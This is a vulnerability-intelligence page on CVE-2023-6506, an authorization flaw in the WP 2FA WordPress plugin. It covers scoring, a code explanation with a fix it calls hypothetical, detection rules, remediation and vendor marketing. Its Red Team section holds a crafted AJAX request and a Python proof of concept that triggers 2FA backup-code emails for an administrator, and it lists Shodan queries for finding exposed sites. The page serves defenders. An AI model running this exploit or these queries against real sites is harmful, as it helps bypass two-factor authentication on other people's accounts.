☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp 2fa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6506

CVE-2023-6506 Insecure Direct Object Reference in Wp 2fa
📅 PUBLISHED: 2024-01-11 06:49 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6506 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP 2FA – Two-factor authentication for WordPress plugin, affecting all versions up to and including 2.5.0. The flaw resides in the send_backup_codes_email function, which fails to validate a user-controlled key before sending backup codes via email. This allows an authenticated attacker with subscriber-level privileges to trigger the emailing of backup codes to arbitrary users on the same WordPress site, potentially bypassing two-factor authentication controls for targeted accounts.

The vulnerability is classified as a WordPress ecosystem issue, as it directly impacts a plugin designed for the WordPress platform. No supply chain or package security concerns are present, as the plugin is distributed via the official WordPress plugin repository.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber-level)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low (unauthorized email dispatch)
  • Availability Impact: None

The threat level is considered Medium due to the low privileges required and the potential to undermine two-factor authentication security by sending backup codes to unintended recipients.

Deep Dive & Mechanics

The vulnerability exists in the send_backup_codes_email function within the WP 2FA plugin. This function is intended to email backup codes to a user when requested. However, it accepts a user_id parameter from the request without verifying that the requesting user has permission to send codes to that specific user. An attacker with subscriber-level access can craft a request to send backup codes to any user on the site, including administrators.

The core issue is a missing authorization check (CWE-639: Authorization Bypass Through User-Controlled Key). The function does not compare the user_id against the current user's ID or check for capabilities like edit_users. This allows an attacker to enumerate user IDs and trigger the email dispatch, potentially intercepting backup codes if they have access to the target's email or if the email is sent to an attacker-controlled address.

Vulnerable vs. Patched Code

Vulnerable Code (wp-2fa/includes/classes/class-backup-codes.php):

public function send_backup_codes_email($user_id) {
    $user = get_userdata($user_id);
    if (!$user) {
        return false;
    }
    // ... send email with backup codes
}

The function lacks any check to ensure the current user is authorized to send codes to the specified $user_id.

Patched Code (Hypothetical fix):

public function send_backup_codes_email($user_id) {
    $current_user_id = get_current_user_id();
    if ($current_user_id !== (int)$user_id && !current_user_can('edit_users')) {
        return false;
    }
    $user = get_userdata($user_id);
    if (!$user) {
        return false;
    }
    // ... send email with backup codes
}

The fix adds a check to ensure the requesting user is either the target user or has the edit_users capability.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with WP 2FA plugin version <= 2.5.0 installed and activated.
  • A subscriber-level account (e.g., username: attacker, password: password123).
  • Knowledge of target user IDs (e.g., admin user ID 1).

Exploit Steps:

  1. Log in as the subscriber.
  2. Craft a POST request to the WordPress AJAX endpoint:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target-site.com
    Content-Type: application/x-www-form-urlencoded
    Cookie: [subscriber session cookie]
    
    action=wp_2fa_send_backup_codes_email&user_id=1
    
  3. The server will send the backup codes for user ID 1 (admin) to the email address associated with that user.
  4. If the attacker has access to that email (e.g., via compromised mailbox), they can intercept the backup codes and bypass 2FA.

Proof of Concept (Python):

import requests

target = "https://target-site.com"
session = requests.Session()
# Login as subscriber
login_data = {"log": "attacker", "pwd": "password123", "wp-submit": "Log In"}
session.post(f"{target}/wp-login.php", data=login_data)

# Exploit IDOR
ajax_data = {"action": "wp_2fa_send_backup_codes_email", "user_id": 1}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=ajax_data)
print(response.text)

Blue Team

Detection:

  • Monitor AJAX requests to admin-ajax.php with action wp_2fa_send_backup_codes_email from non-admin users.
  • Alert on multiple rapid requests with different user_id parameters from the same session.
  • Review email logs for unexpected backup code dispatches.

Mitigation:

  • Apply the hypothetical patch or disable the plugin until an official fix is released.
  • Restrict subscriber-level users from accessing the AJAX endpoint via custom code or a Web Application Firewall (WAF) rule.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-ajax.php with action=wp_2fa_send_backup_codes_email and varying user_id parameters.
    • Unusual email dispatches from the WordPress site containing backup codes.
  • Host:
    • Log entries in /var/log/maillog or similar showing backup code emails sent to unexpected recipients.
    • WordPress debug log entries indicating failed or successful backup code email dispatches.
  • File:
    • Modified or suspicious entries in the wp_options table related to the WP 2FA plugin.

Detection Engineering

YARA Rule

rule CVE_2023_6506_WP2FA_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2023-6506 in WP 2FA plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6506"
    strings:
        $ajax_action = "wp_2fa_send_backup_codes_email"
        $user_id_param = "user_id="
    condition:
        $ajax_action and $user_id_param
}

Sigma Rule

title: CVE-2023-6506 WP 2FA IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with the vulnerable action parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=wp_2fa_send_backup_codes_email"
    condition: selection
falsepositives:
    - Legitimate backup code requests from authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6506 WP 2FA IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=wp_2fa_send_backup_codes_email";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2023-6506;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WP 2FA plugin until an official patch is released.
  2. Apply a virtual patch using a WAF to block requests to admin-ajax.php with the vulnerable action from non-admin users.
  3. Review email logs for any unauthorized backup code dispatches and reset affected user passwords and 2FA settings.

Long-Term Fix:

  • The vendor must release a patched version that includes proper authorization checks in the send_backup_codes_email function.
  • Implement a custom plugin or code snippet to add the missing check as shown in the patched code example.

Workaround:

  • Use a security plugin like Wordfence to add custom firewall rules blocking the vulnerable AJAX action for subscriber-level users.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP 2FA"
http.html:"wp-2fa"
http.html:"two-factor-authentication"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6506/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.